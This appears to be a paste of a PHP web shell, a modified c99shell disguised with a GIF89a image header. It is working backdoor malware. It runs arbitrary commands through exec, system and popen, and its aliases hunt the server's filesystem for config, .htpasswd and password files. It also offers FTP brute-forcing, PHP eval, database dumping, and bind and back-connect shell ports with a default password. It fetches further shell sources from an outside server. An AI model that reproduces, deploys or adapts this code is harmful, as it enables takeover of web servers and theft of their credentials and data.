· 6 years ago · Dec 04, 2019, 06:20 PM
1GIF89aGiam<?php
2//Starting calls
3if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
4error_reporting(5);
5@ignore_user_abort(TRUE);
6@set_magic_quotes_runtime(0);
7$win = strtolower(substr(PHP_OS,0,3)) == "win";
8define("starttime",getmicrotime());
9if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
10$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
11foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
12
13$shver = "1.0 ";
14//CONFIGURATION AND SETTINGS
15if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
16elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
17else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
18}
19
20$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
21
22if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
23if (empty($surl))
24{
25 $surl = "?".$includestr; //Self url
26}
27$surl = htmlspecialchars($surl);
28
29$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
30
31//Authentication
32$login = ""; //login
33//DON'T FORGOT ABOUT PASSWORD!!!
34$pass = ""; //password
35$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
36
37$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
38$login_txt = "ElviNa PutRi AriYani I loVe YOu"; //http-auth message.
39$accessdeniedmess = "<a href=\"http://myspace.com/\">elv1n4</a>'s restricted zone<br><br>You don't have Permission to Entering my Zone<hr><br>salam dingin,<br>elv1n4";
40
41$gzipencode = TRUE; //Encode with gzip?
42
43$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
44
45$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
46$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
47
48$filestealth = TRUE; //if TRUE, don't change modify- and access-time
49
50$curdir = "./"; //start folder
51 //$curdir = getenv("DOCUMENT_ROOT");
52$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
53$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
54
55$log_email = "mihawkstore@yahoo.com"; //Default e-mail for sending logs
56
57$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
58$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
59
60// Registe#ff0000 file-types.
61// array(
62// "{action1}"=>array("ext1","ext2","ext3",...),
63// "{action2}"=>array("ext4","ext5","ext6",...),
64// ...
65// )
66$ftypes = array(
67 "html"=>array("html","htm","shtml"),
68 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
69 "exe"=>array("sh","install","bat","cmd"),
70 "ini"=>array("ini","inf"),
71 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
72 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
73 "sdb"=>array("sdb"),
74 "phpsess"=>array("sess"),
75 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
76);
77
78// Registe#ff0000 executable file-types.
79// array(
80// string "command{i}"=>array("ext1","ext2","ext3",...),
81// ...
82// )
83// {command}: %f% = filename
84$exeftypes = array(
85 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
86 "perl %f%" => array("pl","cgi")
87);
88
89/* Highlighted files.
90 array(
91 i=>array({regexp},{type},{opentag},{closetag},{break})
92
93 ...
94 )
95 string {regexp} - regular exp.
96 int {type}:
97 0 - files and folders (as default),
98 1 - files only, 2 - folders only
99 string {opentag} - open html-tag, e.g. "<b>" (default)
100 string {closetag} - close html-tag, e.g. "</b>" (default)
101 bool {break} - if TRUE and found match then break
102*/
103$regxp_highlight = array(
104 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#c0ffff>","</font>"), // example
105 array("config.php",1) // example
106);
107
108$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
109 // array (i=>{letter} ...); string {letter} - letter of a drive
110 //$safemode_diskettes = range("a","z");
111$hexdump_lines = 8; // lines in hex preview file
112$hexdump_rows = 24; // 16, 24 or 32 bytes in one line
113
114$nixpwdperpage = 100; // Get first N lines from /etc/passwd
115
116$bindport_pass = "v1n";// default password for binding
117$bindport_port = "1971"; // default port for binding
118$bc_port = "1971"; // default port for back-connect
119$datapipe_localport = "8081"; // default port for datapipe
120
121// Command-aliases
122if (!$win)
123{
124 $cmdaliases = array(
125 array("Daftar Isi", "ls -lah"),
126 array("Cari order.log", "find / -name order.log -type f"),
127 array("Cari semua Folder bermode 777", "find / -type d -perm -777 -ls"),
128 array("Cari semua Folder bermode 777 di Dir skrg", "find . -type d -perm -777 -ls"),
129 array("Cari semua File config* ", "find / -type f -name \"config*\""),
130 array("Cari File config* di Dir skrg", "find . -type f -name \"config*\""),
131 array("Cari File service.pwd files", "find / -type f -name service.pwd"),
132 array("Cari semua File .htpasswd", "find / -type f -name .htpasswd"),
133 array("Cari semua File .htpasswd di Dir skrg", "find . -type f -name .htpasswd"),
134 array("Lihat daftar Port yang terbuka", "netstat -an | grep -i listen")
135 );
136}
137else
138{
139 $cmdaliases = array(
140 array("Daftar Isi", "dir"),
141 array("Lihat daftar port yang terbuka", "netstat -an")
142 );
143}
144
145$sess_cookie = "v1n"; // Cookie-variable name
146
147$usefsbuff = TRUE; //Buffer-function
148$copy_unset = FALSE; //Remove copied files from buffer after pasting
149
150//Quick launch
151$quicklaunch = array(
152 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
153 array("<img src=\"".$surl."act=img&img=back\" alt=\"Mundur\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
154 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Maju\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
155 array("<img src=\"".$surl."act=img&img=up\" alt=\"Parent Directory\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
156 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
157 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
158 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
159 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
160 array("<b>Tools</b>",$surl."act=tools&d=%d"),
161 array("<b>Proses</b>",$surl."act=processes&d=%d"),
162 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
163 array("<b>Sec.</b>",$surl."act=security&d=%d"),
164 array("<b>SQL</b>",$surl."act=sql&d=%d"),
165 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
166);
167
168//Highlight-code colors
169$highlight_background = "#c0c0c0";
170$highlight_bg = "#FFFFFF";
171$highlight_comment = "#6A6A6A";
172$highlight_default = "#0000BB";
173$highlight_html = "#1300FF";
174$highlight_keyword = "#007700";
175$highlight_string = "#000000";
176
177@$f = $_REQUEST["f"];
178@extract($_REQUEST["c99shcook"]);
179
180//END CONFIGURATION
181
182
183//\/ Next code isn't for editing \/
184@set_time_limit(0);
185$tmp = array();
186foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
187$s = "!^(".implode("|",$tmp).")$!i";
188if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<center><b>[:::] <font color=#00ff00 size='3' face='Century Schoolbook L'> ELV1n4 Zone</font> [:::}</b></center><br>Akses dari (".getenv("REMOTE_ADDR").") ditolak ama v1n");}
189if (!empty($login))
190{
191 if (empty($md5_pass)) {$md5_pass = md5($pass);}
192 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
193 {
194 if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
195 header("WWW-Authenticate: Basic realm=\"enter my zone : ".$login_txt."\"");
196 header("HTTP/1.0 401 Unauthorized");
197 exit($accessdeniedmess);
198 }
199}
200if ($act != "img")
201{
202$lastdir = realpath(".");
203chdir($curdir);
204if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
205$sess_data = unserialize($_COOKIE["$sess_cookie"]);
206if (!is_array($sess_data)) {$sess_data = array();}
207if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
208if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
209
210$disablefunc = @ini_get("disable_functions");
211if (!empty($disablefunc))
212{
213 $disablefunc = str_replace(" ","",$disablefunc);
214 $disablefunc = explode(",",$disablefunc);
215}
216
217if (!function_exists("c99_buff_prepare"))
218{
219function c99_buff_prepare()
220{
221 global $sess_data;
222 global $act;
223 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
224 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
225 $sess_data["copy"] = array_unique($sess_data["copy"]);
226 $sess_data["cut"] = array_unique($sess_data["cut"]);
227 sort($sess_data["copy"]);
228 sort($sess_data["cut"]);
229 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
230 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
231}
232}
233c99_buff_prepare();
234if (!function_exists("c99_sess_put"))
235{
236function c99_sess_put($data)
237{
238 global $sess_cookie;
239 global $sess_data;
240 c99_buff_prepare();
241 $sess_data = $data;
242 $data = serialize($data);
243 setcookie($sess_cookie,$data);
244}
245}
246foreach (array("sort","sql_sort") as $v)
247{
248 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
249 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
250}
251if ($sort_save)
252{
253 if (!empty($sort)) {setcookie("sort",$sort);}
254 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
255}
256if (!function_exists("str2mini"))
257{
258function str2mini($content,$len)
259{
260 if (strlen($content) > $len)
261 {
262 $len = ceil($len/2) - 2;
263 return substr($content, 0,$len)."...".substr($content,-$len);
264 }
265 else {return $content;}
266}
267}
268if (!function_exists("view_size"))
269{
270function view_size($size)
271{
272 if (!is_numeric($size)) {return FALSE;}
273 else
274 {
275 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
276 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
277 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
278 else {$size = $size . " B";}
279 return $size;
280 }
281}
282}
283if (!function_exists("fs_copy_dir"))
284{
285function fs_copy_dir($d,$t)
286{
287 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
288 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
289 $h = opendir($d);
290 while (($o = readdir($h)) !== FALSE)
291 {
292 if (($o != ".") and ($o != ".."))
293 {
294 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
295 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
296 if (!$ret) {return $ret;}
297 }
298 }
299 closedir($h);
300 return TRUE;
301}
302}
303if (!function_exists("fs_copy_obj"))
304{
305function fs_copy_obj($d,$t)
306{
307 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
308 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
309 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
310 if (is_dir($d))
311 {
312 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
313 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
314 return fs_copy_dir($d,$t);
315 }
316 elseif (is_file($d)) {return copy($d,$t);}
317 else {return FALSE;}
318}
319}
320if (!function_exists("fs_move_dir"))
321{
322function fs_move_dir($d,$t)
323{
324
325
326 $h = opendir($d);
327 if (!is_dir($t)) {mkdir($t);}
328 while (($o = readdir($h)) !== FALSE)
329 {
330 if (($o != ".") and ($o != ".."))
331 {
332 $ret = TRUE;
333 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
334 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
335 if (!$ret) {return $ret;}
336 }
337 }
338 closedir($h);
339 return TRUE;
340}
341}
342if (!function_exists("fs_move_obj"))
343{
344function fs_move_obj($d,$t)
345{
346 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
347 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
348 if (is_dir($d))
349 {
350 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
351 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
352 return fs_move_dir($d,$t);
353 }
354 elseif (is_file($d))
355 {
356 if(copy($d,$t)) {return unlink($d);}
357 else {unlink($t); return FALSE;}
358 }
359 else {return FALSE;}
360}
361}
362if (!function_exists("fs_rmdir"))
363{
364function fs_rmdir($d)
365{
366 $h = opendir($d);
367 while (($o = readdir($h)) !== FALSE)
368 {
369 if (($o != ".") and ($o != ".."))
370 {
371 if (!is_dir($d.$o)) {unlink($d.$o);}
372 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
373 }
374 }
375 closedir($h);
376 rmdir($d);
377 return !is_dir($d);
378}
379}
380if (!function_exists("fs_rmobj"))
381{
382function fs_rmobj($o)
383{
384 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
385 if (is_dir($o))
386 {
387 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
388 return fs_rmdir($o);
389 }
390 elseif (is_file($o)) {return unlink($o);}
391 else {return FALSE;}
392}
393}
394if (!function_exists("myshellexec"))
395{
396function myshellexec($cmd)
397{
398 global $disablefunc;
399 $result = "";
400 if (!empty($cmd))
401 {
402 if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
403 elseif (($result = `$cmd`) !== FALSE) {}
404 elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
405 elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
406 elseif (is_resource($fp = popen($cmd,"r")))
407 {
408 $result = "";
409 while(!feof($fp)) {$result .= fread($fp,1024);}
410 pclose($fp);
411 }
412 }
413 return $result;
414}
415}
416if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
417if (!function_exists("view_perms"))
418{
419function view_perms($mode)
420{
421 if (($mode & 0xC000) === 0xC000) {$type = "s";}
422 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
423 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
424 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
425 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
426 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
427 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
428 else {$type = "?";}
429
430 $owner["read"] = ($mode & 00400)?"r":"-";
431 $owner["write"] = ($mode & 00200)?"w":"-";
432 $owner["execute"] = ($mode & 00100)?"x":"-";
433 $group["read"] = ($mode & 00040)?"r":"-";
434 $group["write"] = ($mode & 00020)?"w":"-";
435 $group["execute"] = ($mode & 00010)?"x":"-";
436 $world["read"] = ($mode & 00004)?"r":"-";
437 $world["write"] = ($mode & 00002)? "w":"-";
438 $world["execute"] = ($mode & 00001)?"x":"-";
439
440 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
441 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
442 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
443
444 return $type.join("",$owner).join("",$group).join("",$world);
445}
446}
447if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
448if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
449if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
450if (!function_exists("parse_perms"))
451{
452function parse_perms($mode)
453
454{
455 if (($mode & 0xC000) === 0xC000) {$t = "s";}
456 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
457 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
458 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
459 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
460 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
461 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
462 else {$t = "?";}
463 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
464 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
465 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
466 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
467}
468}
469if (!function_exists("parsesort"))
470{
471function parsesort($sort)
472{
473 $one = intval($sort);
474 $second = substr($sort,-1);
475 if ($second != "d") {$second = "a";}
476 return array($one,$second);
477}
478}
479if (!function_exists("view_perms_color"))
480{
481function view_perms_color($o)
482{
483 if (!is_readable($o)) {return "<font color=#ff0000>".view_perms(fileperms($o))."</font>";}
484 elseif (!is_writable($o)) {return "<font color=#ffffff>".view_perms(fileperms($o))."</font>";}
485 else {return "<font color=#00ff00>".view_perms(fileperms($o))."</font>";}
486}
487}
488if (!function_exists("c99getsource"))
489{
490function c99getsource($fn)
491{
492 global $c99sh_sourcesurl;
493 $array = array(
494 "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
495 "c99sh_bindport.c" => "c99sh_bindport_c.txt",
496 "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
497 "c99sh_backconn.c" => "c99sh_backconn_c.txt",
498 "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
499 "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
500 );
501 $name = $array[$fn];
502 if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
503 else {return FALSE;}
504}
505}
506if (!function_exists("mysql_dump"))
507{
508function mysql_dump($set)
509{
510 global $shver;
511 $sock = $set["sock"];
512 $db = $set["db"];
513 $print = $set["print"];
514 $nl2br = $set["nl2br"];
515 $file = $set["file"];
516 $add_drop = $set["add_drop"];
517 $tabs = $set["tabs"];
518 $onlytabs = $set["onlytabs"];
519 $ret = array();
520 $ret["err"] = array();
521 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
522 if (empty($db)) {$db = "db";}
523 if (empty($print)) {$print = 0;}
524 if (empty($nl2br)) {$nl2br = 0;}
525 if (empty($add_drop)) {$add_drop = TRUE;}
526 if (empty($file))
527 {
528 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
529 }
530 if (!is_array($tabs)) {$tabs = array();}
531 if (empty($add_drop)) {$add_drop = TRUE;}
532 if (sizeof($tabs) == 0)
533 {
534 // retrive tables-list
535 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
536 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
537 }
538 $out = "# Dumped by C99Shell.SQL v. ".$shver."
539# Home page: http://ccteam.ru
540#
541# Host settings:
542# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
543# Date: ".date("d.m.Y H:i:s")."
544# DB: \"".$db."\"
545#---------------------------------------------------------
546";
547 $c = count($onlytabs);
548 foreach($tabs as $tab)
549 {
550 if ((in_array($tab,$onlytabs)) or (!$c))
551 {
552 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
553 // recieve query for create table structure
554 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
555 if (!$res) {$ret["err"][] = mysql_smarterror();}
556 else
557 {
558 $row = mysql_fetch_row($res);
559 $out .= $row["1"].";\n\n";
560 // recieve table variables
561 $res = mysql_query("SELECT * FROM `$tab`", $sock);
562 if (mysql_num_rows($res) > 0)
563 {
564 while ($row = mysql_fetch_assoc($res))
565 {
566 $keys = implode("`, `", array_keys($row));
567 $values = array_values($row);
568 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
569 $values = implode("', '", $values);
570 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
571 $out .= $sql;
572 }
573 }
574 }
575 }
576 }
577 $out .= "#---------------------------------------------------------------------------------\n\n";
578 if ($file)
579 {
580 $fp = fopen($file, "w");
581 if (!$fp) {$ret["err"][] = 2;}
582 else
583 {
584 fwrite ($fp, $out);
585 fclose ($fp);
586 }
587 }
588 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
589 return $out;
590}
591}
592if (!function_exists("mysql_buildwhere"))
593{
594function mysql_buildwhere($array,$sep=" and",$functs=array())
595{
596 if (!is_array($array)) {$array = array();}
597 $result = "";
598 foreach($array as $k=>$v)
599 {
600 $value = "";
601 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
602 $value .= "'".addslashes($v)."'";
603 if (!empty($functs[$k])) {$value .= ")";}
604 $result .= "`".$k."` = ".$value.$sep;
605 }
606 $result = substr($result,0,strlen($result)-strlen($sep));
607 return $result;
608}
609}
610if (!function_exists("mysql_fetch_all"))
611{
612function mysql_fetch_all($query,$sock)
613{
614 if ($sock) {$result = mysql_query($query,$sock);}
615 else {$result = mysql_query($query);}
616 $array = array();
617 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
618 mysql_free_result($result);
619 return $array;
620}
621}
622if (!function_exists("mysql_smarterror"))
623{
624function mysql_smarterror($type,$sock)
625{
626 if ($sock) {$error = mysql_error($sock);}
627 else {$error = mysql_error();}
628 $error = htmlspecialchars($error);
629 return $error;
630}
631}
632if (!function_exists("mysql_query_form"))
633{
634function mysql_query_form()
635{
636 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
637 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
638 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
639 if ((!$submit) or ($sql_act))
640 {
641 echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
642 if ($tbl_struct)
643 {
644 echo "<td valign=\"top\"><b>Fields:</b><br>";
645 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
646 echo "</td></tr></table>";
647 }
648 }
649 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
650}
651}
652if (!function_exists("mysql_create_db"))
653{
654function mysql_create_db($db,$sock="")
655{
656 $sql = "CREATE DATABASE `".addslashes($db)."`;";
657 if ($sock) {return mysql_query($sql,$sock);}
658 else {return mysql_query($sql);}
659}
660}
661if (!function_exists("mysql_query_parse"))
662{
663function mysql_query_parse($query)
664{
665 $query = trim($query);
666 $arr = explode (" ",$query);
667 /*array array()
668 {
669 "METHOD"=>array(output_type),
670 "METHOD1"...
671 ...
672 }
673 if output_type == 0, no output,
674 if output_type == 1, no output if no error
675 if output_type == 2, output without control-buttons
676 if output_type == 3, output with control-buttons
677 */
678 $types = array(
679 "SELECT"=>array(3,1),
680 "SHOW"=>array(2,1),
681 "DELETE"=>array(1),
682 "DROP"=>array(1)
683 );
684 $result = array();
685 $op = strtoupper($arr[0]);
686 if (is_array($types[$op]))
687 {
688 $result["propertions"] = $types[$op];
689 $result["query"] = $query;
690 if ($types[$op] == 2)
691 {
692 foreach($arr as $k=>$v)
693 {
694 if (strtoupper($v) == "LIMIT")
695 {
696 $result["limit"] = $arr[$k+1];
697 $result["limit"] = explode(",",$result["limit"]);
698 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
699 unset($arr[$k],$arr[$k+1]);
700 }
701 }
702 }
703 }
704 else {return FALSE;}
705}
706}
707if (!function_exists("c99fsearch"))
708{
709function c99fsearch($d)
710{
711 global $found;
712 global $found_d;
713 global $found_f;
714 global $search_i_f;
715 global $search_i_d;
716 global $a;
717 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
718 $h = opendir($d);
719 while (($f = readdir($h)) !== FALSE)
720 {
721 if($f != "." && $f != "..")
722 {
723 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
724 if (is_dir($d.$f))
725 {
726 $search_i_d++;
727 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
728 if (!is_link($d.$f)) {c99fsearch($d.$f);}
729 }
730 else
731 {
732 $search_i_f++;
733 if ($bool)
734 {
735 if (!empty($a["text"]))
736 {
737 $r = @file_get_contents($d.$f);
738 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
739 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
740 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
741 else {$bool = strpos(" ".$r,$a["text"],1);}
742 if ($a["text_not"]) {$bool = !$bool;}
743 if ($bool) {$found[] = $d.$f; $found_f++;}
744 }
745 else {$found[] = $d.$f; $found_f++;}
746 }
747 }
748 }
749 }
750 closedir($h);
751}
752}
753if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
754//Sending headers
755@ob_start();
756@ob_implicit_flush(0);
757function onphpshutdown()
758{
759 global $gzipencode,$ft;
760 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
761 {
762 $v = @ob_get_contents();
763 @ob_end_clean();
764 @ob_start("ob_gzHandler");
765 echo $v;
766 @ob_end_flush();
767 }
768}
769function c99shexit()
770{
771 onphpshutdown();
772 exit;
773}
774header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
775header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
776header("Cache-Control: no-store, no-cache, must-revalidate");
777header("Cache-Control: post-check=0, pre-check=0", FALSE);
778header("Pragma: no-cache");
779if (empty($tmpdir))
780{
781 $tmpdir = ini_get("upload_tmp_dir");
782 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
783}
784$tmpdir = realpath($tmpdir);
785$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
786if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
787if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
788else {$tmpdir_logs = realpath($tmpdir_logs);}
